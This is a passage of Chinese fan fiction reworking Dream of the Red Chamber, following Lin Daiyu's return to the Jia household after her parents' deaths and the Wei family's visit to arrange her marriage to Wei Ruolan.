伴随着女儿的成长,林海和贾敏也慢慢走出了悲伤,但他们会永远思念父母。
父孝未过,又守起母孝。
三年时光一晃而逝,他们开始从子女变成父母。
在失去父母的庇护后,在江南烟雨的浸润下,林海身上外露的锋芒和疏狂渐渐内敛,做了高古含蓄的世家家主,做了宽容旷达的父亲;贾敏也开始学着做一个世俗意义上的世家主母,做了温柔慈爱的母亲。
他们的女儿慢慢长大,她身上与生俱来的忧郁、聪慧和敏锐,时常让他们心惊,他们似乎预见了她以后的艰难。
他们是父母,可以为她遮风挡雨,可他们陪不了她一辈子,那以后呢?
贾敏遇到了林海,那黛玉呢?
出孝一年后,林海打算重新出仕,一家三口回京,访亲拜友,自然开心。
可想起曾经一家四口的日子,悲伤又似乎从未远去。
林海重新回了监察院,不久便出京任两淮巡盐御史,加兰台寺大夫。
一家三口又回了江南。
林海在官场拼杀,贾敏自然做他的贤内助和幕僚,打理林家产业,与江南官员夫人交际,为林海守好后方。
闲暇时,他们一起教育女儿,带她认识世界,他们给了她足够多的爱,是她未来独自闯荡世界的底气。
回扬州第二年,他们有了第二个孩子。
一家四口,夫妻恩爱,女儿聪慧,儿子可爱,谁看了能不羡慕这一家子?
三年后,因为一场风寒,她们失去了儿子。
贾敏也因着儿子去世,加上守孝那几年伤了身体,病倒了。
缠绵病榻一年后,贾敏也走了。
只剩林海一人茕茕独行。
林海想要追贾敏而去,可他还有女儿。
可他只短暂的陪了女儿六年,这六年还聚少离多。
死亡来临时,林海不断挣扎,想要求生,他不放心他的女儿。
他在大自然面前人力何其微小。
闭上眼睛的刹那,他见到了敏敏和玄玉,他跑向她,道,“你放心,黛玉会好好的。若兰会对黛玉好的,若兰是卫兄的儿子,是黛玉的未婚夫,是个很好的孩子,堪配我们的黛玉。再说,我们的女儿很优秀呢!”
贾敏微笑,“我知道,我相信你的眼光。我们一直看着她们,等她活到白发苍苍,一家团聚。”
林海接过玄玉,点头,“好。”
44.第四十三夜
黛玉走在前往荣庆堂的路上,莫名想起六年前第一次离开父亲,来外祖家的心情。
那时,有相熟的表姐、表嫂相伴,可失去母亲、离开父亲,来到陌生的京城,陌生的荣国府,常住做客,依旧忐忑,不知如何是好。
她还记得那天外祖母、舅舅、姐妹们的关怀,也记得宝玉表兄的乌龙。
尽管后来知道他没什么坏心,甚至比大多数男子要好些,有过熟悉的感觉,有时候也玩笑几句,可到底亲近不起来。
如今,六年已过,她又一次失去了父亲,再一次来到外祖家,走在这条路上。
上次,还有父亲在;如今,林家只她一人。
可是,很奇怪,身后空无一人,黛玉却一点也不怕。
胡思之间,黛玉姐妹几个就到了荣庆堂。
院外候着的丫鬟远远看见黛玉一行过来了,赶忙进去通报。
邢夫人、王夫人、李纨、素心带着熙凤家的薄哥儿、巧姐陪着贾母说笑。
宝玉念着二妹妹归宁,林妹妹拜访,想要不上学,过来陪着贾母她们玩笑;可惜,有贾政亲自看着,他的念头不能成真。
贾母听了顿时笑出来,道,“这几个丫头啊,说起来就不顾我们了,可算把她们盼来了。”
素心道,“祖母别急,这次林妹妹回来就不走了,以后嫁在京里回来也方便,到时候您相见就见到了。”
贾母道,“是啊,你们都回来了,你以后留在京里也好。”
邢夫人道,“老爷交代过,到时候托张家老爷指点姑爷,明年姑爷要中了进士,素心不久留京里了吗。”
贾母道,“那就好,留在京里才好。”
王夫人、邢夫人、李纨也附和几句。
王熙凤人未至,声先至,“老太太快看,我把谁给你带回来了。”
众人一笑,丫鬟打开帘子,熙凤、黛玉、宝钗、贾琋、探春进入正厅,向众人行礼。
贾母忙道,“快起来,自家人哪那么多礼,玉儿快过来。”
黛玉听了,走到贾母身前,蹲下道,“外祖母,玉儿回来了。”
贾母一把将黛玉搂入怀中,流下泪来,“我可怜的玉儿,以后可怎么办啊!”
黛玉想起离开父母,也难过的流下泪来,“外祖母放心,玉儿会好好的。”
熙凤看祖孙二人哭的伤心,忙劝道,“老太太快别伤心,您可要好好保重身体,以后长命百岁,给妹妹撑腰。”
贾母听了,忙回过神来,拿起帕子给黛玉擦起眼泪,“是外祖母不好,快别哭了,以后外祖母护着你。”
李纨、素心、宝钗也都纷纷出言安慰,贾母和黛玉缓过来,众人叙起旧来,一时间欢声笑语,其乐融融。
熙凤牵过薄哥儿、巧姐儿,给黛玉见礼。
三年未见,黛玉也很想念两个侄子侄女,这几年也时常给两个孩子稍姑苏的特产、玩意。
薄哥儿年纪大点,还记得黛玉,叫着“姑姑”向黛玉扑过去。
黛玉走的时候,巧姐才不到一岁,还不记得黛玉,不过她记得来之前娘亲和二姑姑说今天来的漂亮姑姑喜欢她,给她和哥哥送了送多礼物,她最喜欢的玩具就是漂亮姑姑送的,看着哥哥扑向漂亮姑姑,眨巴着眼睛看着黛玉,想扑又怯怯的感觉,众人看了一笑。
贾母、邢夫人、王夫人想着熙凤、贾琏小时候活泼的样子,又一次感慨巧姐儿倒不想父母,有几分文气;倒是隔代遗传,像了祖母。
黛玉抱着薄哥儿问,“薄哥儿,还记得姑姑么?”
薄哥儿说,“薄哥儿记得,想玉姑姑。”
黛玉逗薄哥儿,“姑姑也想薄哥儿。不过,薄哥儿是只想林姑姑,还是几个姑姑都想啊。”
大人们笑成一团,笑黛玉促狭。
不过熙凤这个亲娘也没想着给薄哥儿解围,看着薄哥儿苦苦思索,笑的比别人还开心点。
其实,也不怪王熙凤,她们两口子现在就这两宝贝疙瘩,薄哥儿三岁贾赦、贾琏就找了先生启蒙后,就一副小大人的模样,这幅小儿姿态实在难见。
巧姐儿又像早早去了的祖母,贾赦待巧姐比薄哥儿还宠几分,说是捧在手心还怕疼也不为过,贾琏有时候都羡慕自家女儿,他父亲对她和妹妹可从没这么伤心过,熙凤还笑话他呢;可这孩子性子好,倒没宠出骄纵来,几个姑姑拿着本书给她读就能安静一整日,旁日要什么还未等她要,家里长辈就给她了,也就今日让她哥哥抢了先。
这会儿,众人看着薄哥儿笑,巧姐儿看着长辈们笑,也望着哥哥笑,又穿了一套粉色绣小猫的裙子,领口、袖口绣着一圈白色毛边,头上扎了两个小揪揪,带着两个粉色的绒花,小粉团笑成一团儿,别提多可人了。
素心成亲三年了,不过丈夫齐俨多数时间在书院读书,两人还没有孩子,看着巧姐儿可爱的样子,过去一把抱起来,逗着巧姐玩。
薄哥儿苦苦思考了一会儿,眉头皱成一团,慢慢道,“昨儿薄哥儿想二姑姑、林姑姑,今儿薄哥儿只想林姑姑。”
说完,薄哥儿歪头又问,“那林姑姑只想薄哥儿,还是想别的哥儿呀?”
众人笑成一团,探春道,“林妹妹这是遇上对手了。”
黛玉手点了一下脑袋,作思考状,道,“姑姑不想别的哥儿,只想薄哥儿。”
黛玉看薄哥儿笑起来,又道,“不过,姑姑想别的姐儿,就是我们巧姐儿。”
巧姐听到漂亮姑姑说想她,拍着手笑起来。
薄哥儿看了下妹妹,大方地道,“看在姑姑没想别的哥儿,那薄哥儿以后还想林姑姑。”
黛玉道,“那姑姑以后也想我们薄哥儿。”
素心、探春、贾琋几个不服,围着薄哥儿道,“那薄哥儿就不想别的姑姑了?”
薄哥儿看看这个姑姑,又看看那个姑姑,“三姑姑、四姑姑每天都看到,薄哥儿不想,想二姑姑。”
黛玉看着姐妹几个都薄哥儿,从素心手里接过巧姐儿抱着玩。
几个大人围着两个小孩逗来逗去,一早上就过去了。
下午黛玉又去拜访了两个舅舅、舅母,把从姑苏送来的礼物给各人送去;又和姐妹们聊聊近况,毕竟书信太慢,也只能说些要紧的。
晚上,贾琏下了值,一家设了晚宴,欢迎素心、齐俨夫妻和黛玉回来。
姐们们本想着今晚要和黛玉秉烛夜谈,结果贾母道,“你们姐妹们聚得日子还多呢,今儿个就让玉儿和我睡。”
姑娘们只得告退,黛玉还要在贾家住些日子,她们明日再聊也行,便没和老太太抢人。
夜里,丫鬟们伺候着贾母、黛玉洗漱完、躺下,在贾母的示
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意下退出去,鸳鸯便留在寝室外面候着。
贾母揽着黛玉道,“你这孩子,让你回京,姐妹们陪伴着多好,偏要在姑苏呆着守孝,还要住村里。你的孝心我们都知道,可你小孩子贾家的,那知道做父母的心,你爹娘要知道你如此自苦,肯定难过。”
黛玉扑打贾母怀里,默默留下眼泪,“外祖母,我没有爹娘了。”
贾母一下一下的摸着黛玉后背,她知道黛玉怕压抑了许久,早先敏儿去了的时候还有如海陪着;现在只剩她一个了,虽有亲戚族人陪着,可到底隔着一层,不甚亲近;后面守孝,身边陪着的又尽是丫鬟,感情虽好,黛玉是主子,还要撑着一家之主的架子,哪能放肆难过。
“别怕啊,外祖母在。”
“外祖母在,一定不教别人欺负我玉儿。”
……
待黛玉情绪稳定下来,贾母才缓缓道,“早先我想着有我在,你嫁进来,我总能护着你,不会教别人欺了你;可后来你父亲给你定了卫家,卫家小子的人品才华都没的说,这一代里顶好的才俊;卫家家世也没的说,又往边关历练几年,如今回京,卫家活动活动,前途也差不了,我也就放心了。”
黛玉知道贾母要说什么,有些害羞,撒娇道,“外祖母……”
贾母道,“害羞什么,你娘那会儿,我也是千挑万选,她碰上了你爹,夫妻和乐,只一点不好,让我白发人送黑发人。”
说道最后,贾母有些难过,黛玉拉着贾母的手,好似要给外祖母力量,在说还有我在。
贾母缓了一会儿才道,“现在你出了孝,年龄也到了,卫家小子年纪比你还大几岁,卫家怕也急。要不是你爹,现在怕都是卫家妇了。别害怕,你怎么想的,给外祖母说,总要你如愿的。”
黛玉缓缓道,“我也和卫世兄见过几次,我信他人品,这次我父亲丧事卫家叔叔、姨妈都尽心尽力……外祖母,我愿意的。”
贾母道,“好,想来这两天卫家会下帖子,外祖母给你张罗。”
黛玉道,“外祖母年纪大了,哪能要您劳累,您到时候做主,让别人忙就行。”
贾母道,“好,到时候外祖母给你做主。”
贾母又絮絮说着,以后他要对你不好,你就回来,外祖母、你舅舅、表哥她们都在;贾家在、林家在,你好好过自己日子就好……
贾母说着,黛玉一一应是。
可黛玉心中却感到惭愧,外祖母字字句句,都是为她着想。
卫世兄很好,穆姨和卫叔很好,她和若竹更是结义姐妹,若按外祖母的想法来,让总有一世安稳,荣华富贵在。
世间女子求得,她都会有。
可她不敢,也不甘这样活。
这些年,她住在乡下,虽然闭门守孝,可百姓的生活总会入她耳中。
原来,这世间过得不好不止女子,百姓皆苦。
不过是,世人眼中,女子较男子低贱,女子比男子更苦。
她拥有这一切,看见这一切,总要为百姓做些什么,也不枉她来世上一遭,不枉她一番机缘。
哪怕不能改变万艳成悲的悲剧,她们姐妹也要为世间女子争一个更好的未来。
黛玉知道,她不悔,可面对外祖母的谆谆关怀,难免难过。
说着说着,祖孙两个进入梦乡。
45.第四十五夜
宝玉忙着和贾政斗智斗勇,腾出时间调胭脂。
宝钗看不过去,索性借着招待黛玉、素心,整日陪着姐妹们玩。
黛玉、素心回来后,姑娘如虎添翼,整日游园、诗会、诗酒琴茶,好不快哉。
诗会上,黛玉风流别致,宝钗含蓄浑厚,探春大气爽利,琋琋直白讽刺,姐妹几个各有特色,各抒所长,一抒胸中郁气;熙凤闲了也来和他们一起玩,读了几年书,也能写几首略有文采的打油诗,让姐妹们刮目相看。
黛玉、素心与宝钗也相识几年,相处愉快,只是,宝钗平素满口规矩,日常也以规矩为重;黛玉、素心虽也行规矩、用规矩,却不耐规矩,倒是相交不深。
如今成了姑嫂,听探春、琋琋说起宝钗、宝玉之间的事,一边觉得三百六十行,也未必只有仕途才是正道,她们这样的家庭,宝玉这样不去外面闯祸已经是很好了;一边又觉得宝钗这般心气,这般才华,配宝玉可惜了,若非女子立世不易,宝钗又何必何必把未来寄托在宝玉身上,若有朝一日,她们的图谋若能成功,宝钗未必不能靠自己成事;一边不忿,宝钗为了家计,日日规矩,可抵不过薛家兄长胡闹闯祸犯罪,可即便兄妹两个一个天上一个地上,薛家兄长也能继承薛家,宝钗只能嫁人,依附男人。
后来,姐妹们相聚时,就见缝插针的劝几句。
宝钗也听劝,慢慢的也想开了,宝玉都快二十了,他不想读书,不爱仕途,公婆都没有办法,那是她能改变的,她做好自己能做好就行了。
好在,宝玉这些年给群芳脂粉调胭脂,也有收益,养活家里没问题。
婆婆是姨妈、老太太也对她不差,她和宝玉现在也和和睦睦,日子不查了。
想开后,宝钗也放开不管他,任宝玉折腾,夫妻两个关系还更好了些。
早先,宝钗总觉得贾琋去女学不成样子,如今想开,便也动了心思,可她已经嫁为人妇,即使婆婆是姨妈,也决计不会让她出去抛头露面。
不过,宝钗与探春交好,探春听了宝钗的心思后,想着宝钗女红、画工都不差,就说了绣庄的事,宝钗回去就画了花样给探春送过去,偶尔还让探春领些活回家做。
宝玉看见宝钗画花样,闲时便自告奋勇给宝钗改,两人关系更好了几分,渐渐有了新婚时如胶似漆的样子。
慢慢地,宝钗想着靠宝玉还不如靠自己,她和宝玉换换,她主外,宝玉主内,更合适些;又计划着拿银子和探春合伙开个铺子,自己干一番事业呢!
卫若兰回了家里,祖母、父母都十分欢喜,好一阵关怀。
卫升、穆郡主想着孩子一路舟车劳顿,也没多说,就让孩子去休息了。
第二日,若竹得了消息,早早便和三皇子回了卫家,看望兄长,一家终于团聚。
若竹知道黛玉与卫若兰同行,忙问黛玉怎样,卫若兰一一回了。
穆郡主说道,“玉儿出了孝,若兰也回来了,婚事该提上日程了。”
卫升道,“现在也年底了,要办也得明年。”又问若兰,“你这次回京是怎么打算的,请了多长时间假。”
卫若兰道,“半年。”
卫升道,“怎么批了这么长时间?”
卫若兰道,“婚假,再加上林叔三周年。”
卫升也不知信了没有,只道,“八月中旬到二月中旬,这也没多长时间了。你怎么打算的?”
三皇子道,“岳父何不在京里给舅兄找个职位?”
卫若竹看着卫若兰如今的样子,也十分心疼,她从来没见过哥哥这么憔悴过,虽然眉宇看着英武许多,到底又黑又瘦,想了想劝道,“哥哥在北疆待了五年多了,父亲、母亲时时担心,现在边关也没有大战事,哥哥以后总不能和林妹妹分隔两地吧!不若在京里谋个职位,以后有战事再去边关也不耽误。”
卫若兰道,“我考虑一下,年后再说吧。”
穆郡主道,“也是,先好好养养身体。”
穆郡主也心里有数,这么多年,肯定没少受伤,好不容易可得好好补补。
这次能请这么长时间,指不定也受伤了,不过,孩子不说,她们也就装糊涂了。
可看着卫若兰现在的样子,再想想卫若兰离京前的样子,不免难过。
如今,卫若兰比三年前在姑苏见时又瘦了不少。
军里的食物有限,就算卫若兰带着钱,北疆物资也有限,他们时时也送些东西过去,可一来路远,考虑保存,送的不多,一年也就一次,再者自家孩子也不是吃独食的性子,战友分分,进了若兰肚子也不知多少。
穆郡主问,“林家就剩玉儿了,这婚事总不能找玉儿商量。”
卫若兰道,“这次和贾家二姑娘同行,林妹妹想来会住在贾府。”
穆郡主道,“也是,贾家还在京里。我明儿个下个帖子,定个日子去拜访贾老夫人,到时候我再请你孔姨陪客。”
卫若竹道,“要不我也陪母亲去,好些年没见林妹妹和贾妹妹了。”
穆郡主想了想道,“你要有时间,那就一起,到时候若兰也陪着。”
卫升道,“我明儿个请恩侯喝酒。”
早上一家聚在卫老夫人处聊了一上午,下午卫若竹、穆郡主母女私话,穆郡主和卫若竹商量着后日的礼单,又拿出给卫若兰赞的聘礼单子,添了几笔;卫升、卫若兰、三皇子在书房议事。
夜幕擦黑,卫若竹、三皇子才离开。
卫若兰在门口送妹妹离开,叮嘱妹妹他现在在京里,有事就找他;卫若竹一行离开后,卫若兰知道看不见妹妹车马才回府。
卫若兰很遗憾,当年他连妹妹的婚礼都没参加;如今,妹妹虽在京里,但留妹妹在家里住一晚都不能。
他宁愿妹妹不是王妃。
可是,路是妹妹选的,他只能支持。
他知道,妹妹和林妹妹走的是同一条路,哪怕不是,也是殊途同归。
在边关五年,他见过女子拿起武器抵御敌人,也见过男子出卖同胞,男女本没有区别,不过人心偏见而已。
起码,他现在,是希望她们成功的,也是为她们骄傲的。
贾母收到卫家的帖子就定了日子,回了帖子。
穆郡主收到回帖,立马去信孔词和卫若竹。
到了日子,穆郡主、卫升一早就收拾妥当,待卫若竹、孔词来,便赶往贾家。
贾家也早早收拾妥当,严阵以待客来;贾琏也特意调了休,在家待客。
熙凤、素心几个也早早起来,拉着黛玉打扮起来;待打扮好黛玉,熙凤忙调侃,“这么好看的妹妹,以后要便宜卫家了,可恨我不是男的。”
姑娘们笑起来,红了黛玉的脸,如同打了胭脂,气色看着都好了几分。
贾母并未让黛玉、探春、贾琋、素心、宝钗几个到未在厅里候着,只让她们在后面等着;贾母带着邢夫人、王夫人、熙凤在厅里等着待客。
卫家众人来,贾琏迎了卫升、若兰去了书房,和贾赦、贾政闲话;嬷嬷们迎了穆郡主、孔词、卫若竹去了内院,王熙凤在内门处迎穆郡主、孔词、卫若竹。
熙凤见了她们来了,便行礼道,“可算把郡主、舅母盼来了”;卫若竹早先也常来贾府和黛玉、素心他们玩,和熙凤也是熟人,忙拦了熙凤行礼,几人说笑间就到了荣庆堂。
进了厅堂,熙凤忙引着她们入座,穆郡主、孔词、卫若竹和贾母、王夫人、邢夫人互相行礼问候后,穆郡主忙道,“伯母身体一向可好?”
贾母道,“我身体还好,
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有些年没见了,琳琳,阿词身体可好。”
孔词道,“我们都好,好些年没见伯母出去走动了,又不好常来家里打扰。”
贾母道,“那得话,我看你们和敏敏差不多,这些年故友一一去了,我也越发不爱出去了。”
几人寒暄见,孔词道,“今怎么没见几个姑娘,我可想玉儿几个了。”
贾母道,“后面候着呢,快去请姑娘们过来见客。”
琥珀得了贾母吩咐,忙出去请几个姑娘、奶奶。
琥珀走了,穆郡主道,“我今儿个有事求伯母,我儿若兰和敏敏的姑娘黛玉定了亲,如今出了孝,我想着让她们早日成亲。”
贾母道,“孩子们亲事也定了几年,我也知道,只是如海去了几年,林家只玉儿一个……”
穆郡主道,“我是极喜欢黛玉的,这孩子人品、才华样样出挑,偏还十分善良,早先也是费了不少功夫才抢到我家的,如今哪能……。再者,国公爷和林大人是从小一起长大,我和敏敏也是从小的交情,我家老太太和林家老太太也是手帕交,我也是您看着长大的,您放心,敏妹妹和林大人没了,我们只有更疼黛玉的,那会背信。”
贾母道,“你们我自然信得过,只是敏儿就这点骨血,我怎么都不放心不下,我只恨不得永远留着她在身边,护着她,可我总会老。”
邢夫人、王夫人、穆郡主听了贾母略带伤感的话,连忙劝慰。
孔词也道,“伯母,若兰这孩子也是我从小看着长大的,人品差不了,林大人丧事、三周年不远万里奔赴姑苏祭奠。阅阅回来还说,若兰当初还给林大人结庐守孝去了。成亲前能做到这般,以后总不会辜负黛玉。”
贾母神色松了些许,“我知道,只是你家小子在北疆,以后还是要去北疆吗?你知道,我这个年龄,这一辈子走过来,也不求子孙显贵,只想着她们平安就好。”
穆郡主道,“您放心,我们打算让他在京里谋个职位,以后要外放,他们夫妻也总要一起的。”
贾母听了放心些许,“你这般说,我就放心了。我应了,你也别嫌我老婆子多事。”
穆郡主道,“伯母那的话,你也是关心他们。”顿了又道,“今年已经到了年尾,来不及了,我的意思是明年春让两个孩子成亲。”
贾母道,“这个我没意见,两孩子年龄都不小了,林家该准备的早些年都给准备了,我这也给玉儿准备了,到时候找人算个合适的日期就行。”
穆郡主道,“当年林大人在的时候纳彩、问名、纳吉都过了,过完年就开始走剩下的礼。”
贾母道,“行。到时候你挑好日子,给我来个信,在林家过礼。”
孔词道,“伯母有事就说,到时候我和我嫂子都过去帮忙。”
贾母道,“好,麻烦你了。”
孔词道,“伯母这话可就见外了,我看黛玉和阅阅一样,我嫂嫂是黛玉老师,待黛玉和自家姑娘一样。”
贾母叹道,“好孩子。”
贾母看她们何尝不是和女儿一般,只是敏敏走了,她也怕见她们,怕见了她们想起敏敏,怕想起敏敏已经走了。
正事谈毕,黛玉一行也过来了。
黛玉、素心他们和穆郡主、孔词、若竹见过后,贾母又介绍宝钗给穆郡主她们认识。
穆郡主、孔词问过素心、黛玉近况后,又说回去下帖子请她们去玩,就让若竹和她们去玩了。
穆郡主她们陪着贾母说话。
几年不见,若竹、黛玉、素心几个自有说不完话,下午走的时候还依依不舍的,道改天下帖子请她们去三皇子府玩。
这边轻轻松松,那边卫若兰就困难多了,一轮轮的接受黛玉舅舅、表哥的考教,下午回的时候父子两都喝醉了。